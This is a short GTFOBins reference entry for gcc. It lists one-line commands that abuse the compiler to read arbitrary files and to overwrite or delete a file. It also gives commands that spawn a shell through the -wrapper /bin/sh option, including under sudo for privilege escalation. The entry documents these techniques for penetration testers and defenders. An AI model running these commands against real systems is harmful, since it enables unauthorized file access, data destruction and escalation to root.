GTFOBins.github.io/_gtfobins/gcc.md
2021-04-06 09:45:44 +02:00

326 B

functions
file-read file-write shell sudo
code
LFILE=file_to_read gcc -x c -E "$LFILE"
code
LFILE=file_to_delete gcc -xc /dev/null -o $LFILE
code
gcc -wrapper /bin/sh,-s .
code
sudo gcc -wrapper /bin/sh,-s .